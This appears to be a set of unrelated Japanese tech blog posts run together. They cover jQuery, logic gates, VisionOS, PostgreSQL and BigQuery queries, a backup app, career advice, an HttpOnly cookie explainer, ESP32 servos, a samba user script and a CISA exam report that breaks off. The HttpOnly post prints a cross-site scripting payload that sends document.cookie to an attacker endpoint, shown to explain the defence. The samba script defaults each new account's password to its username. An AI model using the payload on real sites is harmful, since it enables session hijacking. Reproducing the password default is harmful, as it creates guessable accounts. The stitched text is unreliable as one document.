最近では、Vue.jsやReactなどが登場したことにより
やれ「jQueryは時代遅れだ」だの「いや、まだ使えるから学ぶべき」だの、
様々な意見があるライブラリだと思います。

なのでこの記事では、**結局jQueryは時代遅れなのか**？という問に沿って様々な視点でまとめていこうと思います。

# 今一度jQueryについて知る

jQueryとは、**JavaScriptを簡単に扱えるライブラリ**として2006年にリリースされました。

当時は使いにくかったJavaScriptのAPIを簡略化するだけでなく、**短いコード量で動くこと**、**当時バラバラだったブラウザによる挙動の違いを吸収できること**として人気を博しました。

# 現代ではどうか？
先程述べた通り、**jQueryは2006年にリリース**されています。
当時はまだJavaScriptが標準化されておらず、jQueryが普及した理由の一つとして「その差を埋めるために重宝された」というものがあります。

しかし現在では、JavaScriptは大きな差も無くなり、大規模なフレームワークも次々に登場し、
**もはや当時から次の段階へ移行した**と考えて良いでしょう。
そういう意味においては、jQueryは時代遅れだと言わざるを得ません。

また、現代で普及しているような技術がjQueryにはありません。

例えば、ReactやVue.jsでは仮想DOMが採用され、ページを更新する際の表示が非常に早くなっています。

しかしながら、jQueryではあくまでJavaScriptのコードを便利にしているライブラリですので、**書き手が書いたコード以上の機能を与えてくれるわけではない**のです。

# それでもjQueryにしかない利点がある

簡単に扱えることは未だに大きな利点です。
環境構築がいらず、単にscriptとして読む込むだけで便利さを手に入れられるのは、
初めて学ぶ者にとってはありがたい点ではないでしょうか。
複雑なDOM操作を、JavaScriptと変わらず扱える点も、基本を学ぶ上では重要かと思います。

# jQueryでは開発将来性が安定しない
ReactなどのフレームワークとjQueryというライブラリは根本的に異なります。

プロダクトの開発にjQueryを使用している場合、
開発メンバーやコストの影響で、将来的にフレームワークに移行したくなっても、
**処理を全て書き直したりそれなりの対応をする必要があります**。

もし将来を見通した長期プロダクトを開発する場合は、jQueryを使うことについてよく考えるべきだと思います。

# 教育現場
私は高校生なのですが、高校ではjQueryで授業を進められています。
そのままでは覚えづらいdom操作やajax通信を簡単に記述できることから、授業の教材としては最適なのだと思います。

# まとめ
ハッキリ言うと、jQueryは時代遅れだと思います。

でも時代遅れだから悪いというのではありません。
むしろ、最新の複雑な技術ではないからこそ、Javascriptを根本から理解するのに役立つし、プロダクトによっては素早く完成させるのに役立つ便利なものだと思います。

では。
基本情報技術者(論理演算)

# 論理演算
論理演算とは「**１と０**」または「**真と偽**」のどちらになるか判定する演算です

主な論理演算には、**論理和**(OR) や **論理積**(AND)、**否定**(NOT)があります。
ベン図や真理値表を使用して**入力の状態と出力の状態**を図や表で表現します。
また論理回路(論理演算を行う電子回路)は**MIL記号**で図式化します。

### ・論理和(OR)
入力(A,B)の**少なくとも一方が１**であれば、出力(A OR B)は１となる演算

左：ベン図　右：真理値表　左下：MIL記号

![](https://i0.wp.com/rikeitsushin.com/wp-content/uploads/2022/01/OR.png?resize=1536%2C608&ssl=1)

![](https://upload.wikimedia.org/wikipedia/commons/thumb/1/16/OR_ANSI_Labelled.svg/180px-OR_ANSI_Labelled.svg.png)

### ・論理積(AND)
入力(A,B)の**両方が１**のときのみ、出力(A AND B)は１となる演算

![](https://i0.wp.com/rikeitsushin.com/wp-content/uploads/2022/01/and-1.png?resize=1536%2C608&ssl=1)

![](https://upload.wikimedia.org/wikipedia/commons/thumb/b/b9/AND_ANSI_Labelled.svg/180px-AND_ANSI_Labelled.svg.png)

### ・否定(NOT)
**入力(A)が0**であれば**出力(Ā)は1**
**入力(A)が1**であれば**出力(Ā)は0**になる演算
「Ā」はAの否定を表し、**補集合**とも言う。

![](https://i0.wp.com/rikeitsushin.com/wp-content/uploads/2022/01/NOT.png?resize=1536%2C712&ssl=1)

![](https://upload.wikimedia.org/wikipedia/commons/thumb/6/60/NOT_ANSI_Labelled.svg/180px-NOT_ANSI_Labelled.svg.png)

## 論理演算の組み合わせ
**論理和**(OR) や **論理積**(AND)、**否定**(NOT)を組み合わせた演算もある。

### ・排他的論理和(XOR)
**入力(A,B)が異なる**と、出力(A⊕B)が1になる演算

![](https://i0.wp.com/rikeitsushin.com/wp-content/uploads/2022/01/XOR.png?resize=1536%2C608&ssl=1)

![](https://upload.wikimedia.org/wikipedia/commons/thumb/0/01/XOR_ANSI.svg/150px-XOR_ANSI.svg.png)

### ・否定論理和(NOR)
入力(A,B)のどちらも0のとき出力(A NOR B)が1になる演算
名前の通り論理和を否定している

![](https://i0.wp.com/rikeitsushin.com/wp-content/uploads/2022/01/NOR.png?resize=1536%2C533&ssl=1)

![](https://upload.wikimedia.org/wikipedia/commons/thumb/c/c6/NOR_ANSI_Labelled.svg/180px-NOR_ANSI_Labelled.svg.png)

### ・否定論理積(NAND)
入力(A,B)のどちらか一方が0のとき出力(A NAND B)が1になる演算
名前の通り論理積を否定している

![](https://i0.wp.com/rikeitsushin.com/wp-content/uploads/2022/01/NAND.png?resize=1536%2C533&ssl=1)

![](https://upload.wikimedia.org/wikipedia/commons/thumb/e/e6/NAND_ANSI_Labelled.svg/180px-NAND_ANSI_Labelled.svg.png)

**NANDとNORはそれぞれANDとORの真逆(NOT AND, NOT OR)**


:::note info
MIL記号について触れていなかったので表を追記します。
:::
>引用https://rikeitsushin.com/ronri-enzan/
     https://www.wikiwand.com/ja/MIL%E8%AB%96%E7%90%86%E8%A8%98%E5%8F%B7
【VisionOS】VisionOSの環境構築

## 始めに
VisionOSは、Appleが提供する空間コンピューティング(AR,VR,MRのようなもの)のためのオペレーティングシステムで、開発者がこれらの技術を活用したアプリケーションを作成するための強力なプラットフォームです。
2023年6月6日（日本時間）に開催されたAppleの開発者向けカンファレンス「WWDC23」で発表されました。

この記事では、VisionOSの環境構築とプロジェクトの作成までの手順を説明します。それでは、早速始めましょう！

## 構築環境
VisionOSの環境構築の前提となる環境は主にmacOSです。VisionOSの開発にはXcodeが必要で、XcodeはmacOS上で動作します。

## 環境構築手順

1). [こちら](https://developer.apple.com/download/all/?q=xcode%2015)のApple公式サイトからXcode 15.4(2024/7/2時点)をダウンロードします。
![2.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3817084/dcd82eef-b1e8-4a55-caaf-359a283cdc25.png)

2). Xcode 15.4.xipファイルがダウンロードされたフォルダを開き、ファイルを展開します。
![4.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3817084/29357288-f0ae-95dc-5233-7e26f9ba588d.png)


![5.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3817084/698a17dd-d0fe-22f9-a1b0-5968e0aba05f.png)

3).展開後、「Xcode」を選択し、起動します。
![6.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3817084/3d29f936-c0f3-4369-becc-8f8df831e747.png)


4). Xcodeが起動しますので、「Create New Project」を押して新規プロジェクトを作成していきます。
![7.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3817084/19b6bcb2-3996-9108-2df4-2748a1b2ca93.png)

5).「VisionOS」の「App」を選択し、「Next」を押します。

:::note warn
VisionOSのsimulatorがダウンロードされていない場合は、このタイミングでダウンロードを求めるメッセージが出る可能性がありますので、それに従いダウンロードしてください。
:::
![8.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3817084/2603cc4f-b4b7-2c69-15e1-c2f367d2d4f4.png)

6).「Product Name」に任意のプロジェクト名を付け(私の場合VisionOS_test)、「Next」を押します。
![9.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3817084/0fafb54a-51f3-1a86-9cde-466848ed3a2e.png)

7).任意のフォルダ(私の場合デスクトップ)を選択し、「Create」を押しプロジェクトファイルを保存します。
![10.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3817084/90516261-d907-2dcc-a65a-fb4ba87a7dbd.png)

8). 開発画面が表示されるはずです。左のプレビューにMRっぽい画面が表示されてめちゃくちゃかっこいいです。右下のアイコンを操作することで視点をぐりぐり動かせます。
![12.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3817084/4e4dc1f1-8c6c-ae04-dcde-456e9dfbcf03.png)

## 終わりに
以上でVisionOSの環境構築とプロジェクトの作成ができました。めちゃくちゃ簡単だったんじゃないでしょうか。
これからVisionOSの詳しい仕様や実際にアプリを開発した話などを記事にしていこうかと思ってます！

この記事が参考になりましたらぜひ「いいね」「フォロー」など励みになるのでよろしくお願いします！
PostgreSQL: information_schema の使い型

## スキーマの名前を調べる

sch で始まるスキーマ

```sql
SELECT schema_name FROM information_schema.schemata where schema_name LIKE 'sch%';
```

## テーブルの名前を調べる

grp で始まるテーブル

```sql
select table_name from information_schema.tables where table_name LIKE 'grp%';
```

grp で始まるテーブルの数

```sql
select count(*) from information_schema.tables where table_name LIKE 'grp%';
```

## コラムの名前を調べる

```sql
SELECT column_name FROM information_schema.columns WHERE table_name = 'cities';
```

実行結果

```text
city=# SELECT column_name FROM information_schema.columns WHERE table_name = 'cities';
 column_name 
-------------
 population
 date_mod
 id
 name
(4 rows)
```

## コラムの名前 と Not Null かを調べる

```sql
SELECT column_name, is_nullable FROM information_schema.columns WHERE table_name = 'cities';
```

実行結果

```text
city=# SELECT column_name, is_nullable FROM information_schema.columns WHERE table_name = 'cities';
 column_name | is_nullable 
-------------+-------------
 population  | YES
 date_mod    | YES
 id          | NO
 name        | YES
(4 rows)
```

## コラム名を与えてテーブル名を調べる

```sql
select table_name from information_schema.columns WHERE column_name = 'population';
```
BigQueryでテーブルの存在判定

BigQueryでテーブルの存在判定をする方法について。
シンプルだが状況次第では有効なのでメモ。

方法としては下記である。データセット名、テーブル名はてきとう。
```
EXECUTE IMMEDIATE FORMAT(
"""
    SELECT
        DISTINCT 1 
    FROM
        `project.dataset_%s.sharding_table_*`
    WHERE
        _TABLE_SUFFIX = '%d'
""",'a',20240101
) INTO Y;

IF Y> 0 THEN ～ END IF;
```

複数のデータセットがあり、それぞれシャーディングテーブルとなっている（例えば、GA4からBigQueryに日々エクスポートされるテーブルなど）場合でなおかつ、複数の日付に対して処理を行う場合などに有効。
例えば、下記の疑似コードのようなイメージ。
```
span = 今日 - 2024/1/1
for a in [データセットa, データセットb]：
    FORMAT('''
    for i in span:
        aとiを使って、シャーディングテーブルを作成（or上書き）するクエリを記述
        例えば、データセット%sのテーブル%dを使う
    ''', a, CAST(FROMAT_DATE（%Y%m%d, 今日-i日）AS INT64)
    )
```



上述したテーブルの存在判定をしないと、SQL次第では下記の状況でエラーを吐く。
・データセットaとデータセットbいずれかについて、2024/1/1～今日の日付のシャーディングテーブルが存在しない場合

例えば、下記のような場合が考えられる。
・そもそもデータセットaが、20240301以降のシャーディングテーブルしかない場合
・何らかの原因で、20240101以降ほとんど存在しているが20230201のみ存在しない場合


個人的に、EXECUTE IMMEDIATE FORMAT の結果を INTO VARIABLE で変数に格納できることを知らなかったのでメモ。

公式ドキュメント:
https://cloud.google.com/bigquery/docs/reference/standard-sql/procedural-language#execute_immediate
ファイルが更新される度に自動でバックアップを保存する Windows アプリケーションを公開してみる

ファイルのバックアップを自動で保存する
Windows アプリケーションを作成したため
皆さんの役に立てればと思い
ソースと本体を公開したいと思います。

かなり便利なアプリケーションである自信があるため
是非活用頂けると嬉しいです。

[本体はこちら(BOOTH)](https://giftedstyle.booth.pm/items/5883108)
[本体はこちら(Google Drive)](https://drive.google.com/file/d/1noih7l17YsdcXcZxISkzQHpam0nNMXg6/view?usp=sharing)

[プロジェクトファイルはこちら(Google Drive)](https://drive.google.com/file/d/1dweCH1uvaWXUJkzUNMTrmK-30mtITBAC/view?usp=sharing)

***

ファイルが保存されるたびに、自動でバックアップを作成するアプリです。
「40分前の状態に戻したい」といった時にも役立ちます。
Word・Excel・プログラミングなど、様々な作業の安心サポートにどうぞ。

＜主な機能＞
・ファイル保存時に自動でバックアップを作成
・4 作業日以上前の古いバックアップは自動で整理（その日最後の状態のみ残す）
・フォルダ単位でのバックアップにも対応
・子フォルダ・ファイルも対象

元のファイルには一切手を加えません

エクスプローラーからのドラッグ＆ドロップで設定簡単

Ctrl + S を連打してしまった場合にも対応しています。
バックアップを保存した直後から 5 秒間は、重複して保存されないように設計されています。
たとえば、6 秒間に Ctrl + S を 30 回押した場合でも、実際にバックアップが作成されるのは 2 回に抑えられます。

＜バックアップファイルの形式＞
保存形式：日付_ファイル名.zip
例）20240401-123021_index.php.zip

＜保存場所＞
対象フォルダと同じ階層に [フォルダ名]_BackUP フォルダが生成されます

＜活用シーン例＞
・Word・Excel・マクロ開発作業
・イラストレーターによる開発作業（軽量ファイルのみ）
・HTML・Web制作作業
・動画編集作業
・プログラミング・コード編集作業
・その他バックアップが欲しいあらゆる作業

＜ご利用方法＞
1. アプリを起動
2. バックアップを取りたいファイルまたはフォルダを、ウィンドウ内の案内にドラッグ＆ドロップ
3. あとはファイルを保存するだけで、自動でバックアップが作成されます
※保存は手動（例：Ctrl + S）で行ってください

💡 パソコン起動時にこのアプリを自動起動するよう設定すれば、バックアップの自動化がよりスムーズに行えます。

無料でご利用いただけます

プロジェクトファイルも配布中（Visual Studio対応）

https://drive.google.com/file/d/1dweCH1uvaWXUJkzUNMTrmK-30mtITBAC/view?usp=sharing

＜利用規約＞
・自作発言は禁止（著作権の主張も不可）
・再配布・販売は自由です
・加工・改変後の再配布・販売もOK
・再配布・販売時に独自ライセンスをつけても問題ありませんが、「自作発言の禁止」だけは守ってください
・アプリ名を変更しての再配布・販売もOK（※上記ルール遵守の上）

＜免責事項＞
本アプリの利用により生じた損害等について、開発者は一切の責任を負いません。自己責任でご利用ください。

＜クレジット表記＞
不要です。ご自由にお使いください。

***

以上 Windows アプリケーションを公開しました。

Visual Studio の Windows フォームは
フォルダ整理をしたい時等に
補助用のアプリケーションを
簡単に作成する事ができます。

皆さんもフォルダ整理の際は
Visual Studio を活用してみては
いかがでしょうか？

皆さんの開発の助けになれますように
閲覧ありがとうございました。
多様なキャリア選択肢を探ろう：エンジニア就活の新しい視点

## 自己紹介

こんにちは、技術食いつき虫noll:v:です。

- 学生エンジニア
- アンバサダー活動
- コミュニティ活動
- 最新トレンドを追うことが趣味

SNSリンク集: [Rei Suzukiのリンク集](https://linktr.ee/Rei_suzuki)

## なぜこの記事を書くのか

もともとメガベンチャーにめちゃくちゃ入りたいと思っていました。
でも、色んな経験をしていくうちに、
メガベンチャーに負けないくらい魅力的な会社がものすごくあることに気づいたんです。

ぜひみんなにも目を向けて、その上で選択してもらいたいと思い、この記事を書きました。

## 新卒エンジニア界隈におこっているTech系メガベンチャー熱について

新卒エンジニア界隈では、Tech系メガベンチャーへの熱が依然として大きいと思います。何といっても魅力がたくさんありますからねぇ。

- 高い給料
- レベルの高いチーム
- 整った成長環境
- 高い心理的安全性の職場
- なんかキラキラしている

もちろん魅力的だと思いますし、素晴らしい企業ばかりだと思っています。

しかしながら、特にエンジニア就活系のサイトを使っていると、
何となく「メガベンチャーいいぞおじさん」になってしまう人を観測します。

言うのは自由ですが、すこし思考停止気味になっていないかなと思います。

でも本当に自分にあっている企業でしょうか？

ここは、就活の軸と重なる部分だと思いますが、

今一度考えてみると、視野が狭くなっていないですか？

なぜなら、特定の情報をずっと触れていると思考にも影響するわけです

## Tech系メガベンチャーだけじゃない他のカテゴリ

Tech系メガベンチャー以外にも、魅力的な企業はたくさんあります。

以下にいくつかのカテゴリを紹介します。

内製化が多いのは、自分のやりたい事とマッチしているためです。

### Biz系メガベンチャー(内製化)

- 技術力は企業によります(でも基本的には、そんなに高くない)
- 技術力とタイミング次第では、メガベンチャーより高い給料オファー
- かなり大きな予算持ったプロジェクトにアサインされることがある
- Tech系メガベンチャー以上に速くマネージャー職やテックリード職、フルスタックみたいな職に就ける(ネットワークやセキュリティ、開発を兼業できるかも)
- 経験的な意味で言うと、実践形式になったりする


### 大企業のグループ会社(内製化)

- 大企業安心の待遇
- やっていることはしっかりと見ないといけないのが注意(外注の窓口みたいなところもある)
- 最先端技術が触れるところもある
- 大規模サービスを触れるところもある


### Tech系外資系企業

- 圧倒的な高待遇
- 良くも悪くもポジションの仕事しかやらない(もしくは自分で開拓するか)
- キャリアが広がる場合もある(副業や転職でメガベンチャーやベンチャーなどいろいろ行っている人をよく観測する)
- 評価制度がしっかりとしている
- 英語の環境に慣れるとキャリアがグローバルになる可能性がある


### 海外Tech企業

- 日本より良い待遇のことが多い
- 良くも悪くもポジションの仕事しかやらないか(もしくは自分で開拓するか)
- 英語ができないと厳しいことが多い
- 結構働き方が自由になったりするが、ミーティングは夜中になりがち(週に何回もないはず)
- 応募倍率がえぐいことが多い


## エンジニア就活で有利に進めるためには？

まあ当たり前のことを知っている人が多いと思うので、それとはまた違うのを紹介します。

- EQを高める
- 学び方を学ぶ
- 様々な分野の業務を経験する
- コミュニティ活動
- アンバサダー活動

### 具体的なアクションアイテム

1. **EQを高める**:
   - 書籍を読む
   - EQを高めるためのワークショップに参加する

2. **学び方を学ぶ**:
   - オンラインコースで自己学習法を学ぶ
   - アクティブラーニングを実践する

3. **様々な分野の業務を経験する**:
   - インターンシップやアルバイトを通じて異なる分野を経験する
   - フリーランスのプロジェクトに参加する

4. **コミュニティ活動**:
   - 技術系の勉強会やカンファレンスに参加する
   - オンラインフォーラムで情報交換をする

5. **アンバサダー活動**:
   - アンバサダープログラムに参加して企業や製品を広める
   - SNSでの情報発信を活発に行う

## 結論

エンジニア就活において、Tech系メガベンチャーだけが唯一の選択肢ではありません。外資系企業など、様々な企業を見て、自分に合ったキャリアを選ぶことが大切です。多様な選択肢を視野に入れることで、より充実したエンジニアライフを送ることができるでしょう。

---

これから就活を始める・始めている皆さんにとって、少しでも参考になれば幸いです。どんなキャリアを選ぶにしても、自分にとって最適な選択をしてくださいね。
HttpOnly属性ってなんで必要？

# はじめに
Goで初めてのアプリを作っているときにCookieのセッティングでHttpOnly属性を書いていました。セキュリティ上で必要なものということをざっくりと知っていただけで具体的にどのような役割を果たしているのか知らなかったので今回調べてみました！

Cookieに値を入れているときに書く必要があったHttpOnly
```go
cookie := http.Cookie{
			Name:     "Kennie",
			Value:    "1234",
			Path:     "/",
			HttpOnly: true,
		}
  ```

以下に記載する内容は以下の動画を参考にしています。
https://www.youtube.com/watch?v=IGWKIRamjs0




## 1. HTTPOnly属性とは？
HTTPOnly属性は、ウェブブラウザに設定されるクッキーの属性の1つで、JavaScriptからアクセスできないようにするものです。クッキーはJavaScriptからもアクセス可能であり、これを利用して悪意のあるスクリプトがクッキーを盗み取ることがあります。HttpOnly属性を設定すると、JavaScriptからクッキーにアクセスできなくなり、セッションハイジャッキングの内のクロスサイトスクリプティングを緩和するのに役立ちます。


## 2. セッションハイジャッキングとは
セッションハイジャッキングとは、インターネットセッションを乗っ取る攻撃手法のことです。攻撃者が他の人のセッションを盗み取り、そのセッションを使用して他の人のアカウントにアクセスすることです。

例えばAさんがメールに送られてきたURLを押してしまったとき、AさんのアカウントのCookieの情報がサーバーへと送られます。その際にセッションが傍受され、違う人でもセッションを持っていればAさんのアカウントへとアクセスできてしまいます。


![スクリーンショット 2024-07-02 15.29.19.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3825806/344a9016-480a-4fa1-2ea3-8bbed19c9ea3.png)

**①.エンドポイントの生成**
HTTPリクエストを受信するためのURLを生成。

**②. URLの編集**
URLにdocument.cookieなどのようなJavaScriptのコードを挿入。
```javascript
<script>window.location = '生成したエンドポイントのURL' + document.cookie;</script>
```



<script>window.location = '生成したエンドポイントのURL' + document.cookie;</script>

**③. 他のユーザーにURLを押させる**
②で生成したURLを押させることでクライアントからサーバーへの通信を行うときにセッションIDを取得。

**④. セッションを変更**
CookieのValue値を受信したセッションIDに変更することによってサーバーから他のユーザーの情報が送られてくる。

## 3. HttpOnlyで防げること
上記で説明した②の手順は、JavaScriptをURLのパラメーターとして記述しています。このURLがクライアントとサーバー間の通信中にセッションIDを渡してしまうきっかけとなります。そのため、HttpOnly属性を付けることでJavaScriptによるコードの挿入を防ぎます。セッションハイジャッキングのうちのクロスサイトスクリプティングは方法の一つとしてJavascriptのコードを埋め込むことによって盗むことができるので、こちらの方法のセッションハイジャッキングは防ぐことができます。


## おわりに
何気なく書いていたHttpOnly属性は、非常に重要な役割を果たしていることを知りました。個人開発の際は、特に規模が大きくなく、ユーザーもいないことからセキュリティ面はあまり気にしていませんでした。しかし、エンジニアとして働くうえで、会社のプロダクトを責任を持って開発していく際は、インシデントをなくすために様々な面でのセキュリティを重視する必要があると感じました。
ESP32でKRSサーボをPWMで動かす

# 概要
ESP32系ボードでロボット用サーボKRSシリーズをPWMで動かします。
公式リファレンスの26ページに詳細が載っていますが、接続やプログラムの細かいところでハマったので備忘録です。

ICS3.5/3.6ソフトウェアマニュアル:  

https://kondo-robot.com/w/wp-content/uploads/ICS3.5_3.6_SoftwareManual_2_9.pdf

# 前提
近藤化学株式会社が販売するロボット用サーボ「KRSシリーズ」では、「ICS」と呼ばれる独自の通信方法でサーボを制御することができます。
サーボの数が多い場合はICSが便利ですが、サーボが1つ2つなどの場合はマイコンから直接繋げたくなったりします。

KRSはPWM入力で制御できる機能も提供してくれていますので、それを使ってみます。

製品ページ : 

https://kondo-robot.com/product-category/servomotor/krs

# 環境  

|          |                     | 
| -------- | ------------------- | 
| エディタ | VSCode + PlatformIO | 
| ボード   | ESP32 Dev Module    | 
| サーボ   | KRS3301             | 


下記はplatformio.iniです。
ESP32でPWMサーボを扱うため、ESP32Servoライブラリを使用します。

```yaml:platformio.ini
platform = espressif32 @ ~4.2.0
board = esp32dev
framework = arduino
monitor_speed = 115200
lib_ldf_mode = deep+
upload_speed = 1500000
lib_deps =
	madhephaestus/ESP32Servo@^0.12.0
```

# コード

```cpp:main.cpp
#include <Arduino.h>
#include <ESP32Servo.h>

// サーボモータのインスタンスを作成
Servo servo1;

// サーボモータのピン設定
const int servoPin1 = 18;

void setup() {
  // ピン設定
  pinMode(servoPin1, OUTPUT);
  // KRSサーボをPWMモードにするための処理
  // 各サーボモータにLOWを入力する
  digitalWrite(servoPin1, LOW);
  // 500ms間待機
  delay(500);
  
  // サーボ設定
  servo1.setPeriodHertz(240);
  servo1.attach(servoPin1, 700, 2300);
  servo1.writeMicroseconds(1500);
}

void loop() {
  // 1秒ごとに角度を変更する
  servo1.writeMicroseconds(1500);
  delay(1000);
  servo1.writeMicroseconds(2000);
  delay(1000);
}
```

# コード解説
```cpp:
#include <Arduino.h>
#include <ESP32Servo.h>
```
ESP32Servoを使用します。

---

```cpp:
// ピン設定
pinMode(servoPin1, OUTPUT);
// KRSサーボをPWMモードにするための処理
// 各サーボモータにLOWを入力する
digitalWrite(servoPin1, LOW);
// 500ms間待機
delay(500);
```
KRSサーボをPWMで使用する場合、電源投入後500ms間は信号線をLOWレベルにする必要があります。

---

```cpp:
// サーボ設定
servo1.setPeriodHertz(240);
```
PWMの周波数を240Hzにします。
通常は50Hzにすると思いますが、うまく動きませんでした。
(無限回転モードで1500usにしても停止しない)

---

```cpp:
servo1.attach(servoPin1, 700, 2300);
servo1.writeMicroseconds(1500);
```
PWMのパルス幅が700us ~ 2300usと定義されているので、attach関数で指定しておきます。
その後、サーボの初期角度を指定しています。

以上のコードをESP32に書き込んで、出力ピンをサーボの信号線に接続し、プログラムを実行します。


# いかがでしたか?
動きましたか?
自分はここでなかなか動かなかったので試したことを載せます。

##  setup()関数にプルダウン処理を入れる
```cpp:
void setup() {
  pinMode(servoPin1, INPUT_PULLDOWN);
  delay(1000);
}
```
起動直後にKRSサーボがPWMモードになっていない気がしたので、setup()関数の頭に出力ピンがプルダウン状態になるような設定を入れてみました。この処理の後にサーボ用の出力ピン設定をしています。
これを入れた後に動きましたが、動いた後はこの記述を消しても動き続けました。
ESP32のピン設定がプルダウンモードになってくれたのでしょうか？
気持ち悪いですが「よくわからんけど動いた」状態ではありますが試したこととして挙げます。

また、電源投入時にサーボ側から信号線がHIGHになるようです。ESP32のsetup()関数の実行よりも早いタイミングで起こっているようなので、サーボの信号線自体をプルダウンさせることも有効かもしれません。

https://x.com/tn340/status/1502117927469809668  

https://x.com/tn340/status/1502118797179699200  

## 配線を確認
信号線が出力ピンを繋がっているか、正しい配線ができているか確認しましょう。

## PWM周波数を変更
```cpp:
servo1.setPeriodHertz(240);
```
50Hzよりも高速なほうがよく動いてくれました。
デジタルサーボは240Hzが多いらしいのでこの値にしましたが、
上手く動かない場合はこの値を変更してみても良いかもしれません。

## 適切な電源に接続
KRSサーボはロボット用のサーボですので、7.4Vもしくは11.1Vが動作する適正電圧になっています。
USB電源やマイコン用電源ではうまく動かない場合がありますので、サーボ用の電源を用意して接続してみてください。

# おわり
高トルクなサーボモータをPWMで扱えるようになります。
デイジーチェーンや通信速度が必要ない場合はこの方が手軽かもしれませんね。
samba でユーザーを追加したり削除したりするお気楽スクリプト

# 前書き
2012 年頃に必要にかられて、でっち上げたスクリプト。
ちょっと捨てるには勿体無いけん、張って置くw
恐らく samba3 -> 4 に試験移行してた頃、頻繁にユーザの追加削除が有ったからこういうスクリプト書いてたのかと、当時を懐かしんでしまう程のヘボ作w

# どんなんじゃ？
FreeBSD 上のアカウントをでっち上げて(グループ固定w)
同名のsambaアカウントも作って有効化するまでのスクリプトで、スタティックリンクで userdel.sh を作って実行すると、でっち上げたアカウントを削除する、素敵な仕様となっちょります✌
コメントアウトしている箇所は samba3 のコマンドで標準では samba4 に対応する。

# このスクリプトは 0条項BSDライセンス
昨今は AD なりで一元監視されちゃるけん、こういうスタンドアロンでちまちま利用者登録する事も無くなりよったが、個人宅のサーバ立てて楽しむときには便利なスクリプトかもしれんのぉ😊
じゃけ、良しなに改編して再配布しても文句は言いませんYo

:::note alert
そのままでも動くが、ports や package の標準とされているディレクトリにコマンドが居なかったりすると機嫌を損なう恐れがありますw
:::
```shell:useradd.sh
#!/bin/sh
CRUNCH=`basename $0`
USERNAME=$1
PASSWORD=$2
if [ ! "$USERNAME" ]; then
	echo $CRUNCH" SAMBA User add and del Tools"
	echo "Usage: "$CRUNCH" NEW-USERNAME <PASSWORD>"
	exit
fi

CREATE()
{
	echo "--Adduser "$USERNAME
	/usr/sbin/pw adduser -n$USERNAME -gsamba -c$USERNAME -s/usr/sbin/nologin -d/nonexistent
	if [ ! "$PASSWORD" ]; then
		PASSWORD=$USERNAME
	fi
#	/usr/bin/printf "$PASSWORD\n$PASSWORD\n" | /usr/local/bin/smbpasswd -a -s $USERNAME
	/usr/bin/printf "$PASSWORD\n$PASSWORD\n" | /usr/local/bin/pdbedit --create --user=$USERNAME --group=samba --password-from-stdin
}

DESTROY()
{
	echo "--Deleteuser "$USERNAME
#	/usr/local/bin/smbpasswd -x $USERNAME
	/usr/local/bin/pdbedit --delete --user=$USERNAME
	/usr/sbin/pw deluser -n$USERNAME
}

case $CRUNCH in
	useradd*)
		CREATE
		;;
	userdel*)
		DESTROY
		;;
	*)
		echo The shell script file name is invalid.
		;;
esac

exit
```

# 最後に
他の OS で動くか知らんよ✌
ふーん、で、君はPHPのフレームワークで何が好きなの？

オウフｗｗｗいわゆるストレートな質問キタコレですねｗｗｗ
おっとっとｗｗｗ拙者『キタコレ』などとついネット用語がｗｗｗ
まあ拙者の場合PHPフレームワーク好きとは言っても、いわゆる一般的な開発用途としてでなく
メタプログラミング的観点から見ているちょっと変わり者ですのでｗｗｗFunctional PHPの影響がですねｗｗｗｗ
ドプフォｗｗｗついマニアックな知識が出てしまいましたｗｗｗいや失敬失敬ｗｗｗ
まあファサードパターンの実装としてのLaravelは純粋によく設計されてるなと賞賛できますがｗｗｗ
私みたいに一歩引いた見方をするとですねｗｗｗポストSymfonyのパラダイムと
モダンPHPの実用主義を引き継いだフレームワークとしてのですねｗｗｗ
Laravelのパイプライン処理はですねｗｗｗｗ
フォカヌポウｗｗｗ拙者これではまるでデザインパターンオタクみたいｗｗｗ
拙者はギークではござらんのでｗｗｗコポォ
【独学1ヶ月】CISA（公認情報システム監査人）合格体験記 

# はじめに
CISA（公認情報システム監査人）に合格しました。（2024/7/1）
CISA仲間が欲しいため、実際に受験した感想を残しておこうと思います。

# CISA（公認情報システム監査人）とは
>CISAは情報システムの監査および、セキュリティ、コントロールに関する高度な知識、技能と経験を有するプロフェッショナルとして当協会が認定する国際資格で、日本語では「公認情報システム監査人」と称します。

（ISACA東京支部のサイトから引用）

https://www.isaca.gr.jp/cisa/

## 試験内容
### 試験範囲
| ドメイン| 割合|
|:-:|:-:|
| 情報システム監査のプロセス  |  21% |
|ITガバナンスとITマネジメント   |  17% |
|情報システムの調達、開発、導入   |  12% |
|  情報システムの運用とビジネスレジリエンス | 23%  |
| 情報資産の保護  | 27%  |

### 試験形式
<table>
    <tr>
      <td>制限時間</td>
      <td>240分</td>
    </tr>
    <tr>
      <td>問題数/出題形式</td>
      <td>150問　4肢択一</td>
    </tr>
    <tr>
      <td>合格ライン</td>
      <td>450/800点（56%）</td>
    </tr>
    <tr>
      <td>受験料</td>
      <td>760ドル（ISACA会員は575ドル）</td>
    </tr>
 </table>


# 受験のきっかけ
今後のキャリアのためと、名前がかっこいいからです！！（公認情報システム監査人って強そうですよね）

# 学習リソースと勉強方法
## CISA Review Questions, Answers & Explanations Manual, 12th Edition | Print | Japanese

https://store.isaca.org/s/store#/store/browse/detail/a2S4w000004KoCaEAK

**※2024年8月から新カリキュラムになるため、問題集は13thに更新されます。**

こちらはISACAが公式で出している問題集で、1000問掲載されてます。

私はこの問題集を3周しました。

1周目は問題を解いて、回答の解説を全て目に通しました。

2周目は分からなかった問題のみ納得するまで回答の解説を読んだり、分からない用語を調べたりしました。

3周目は仕上げとしてるんるんしながら解いていました。
ザルからこぼれた知識をすくい上げるイメージで問題をほぼ暗記しました。

**この問題集の問題を根拠を持って回答できるようになれば余裕を持って合格できると思います。**

**※ISACA会員だと、価格が159→129ドルになるので、入会後に購入した方が良いかもしれません。**

## Udemyの問題集
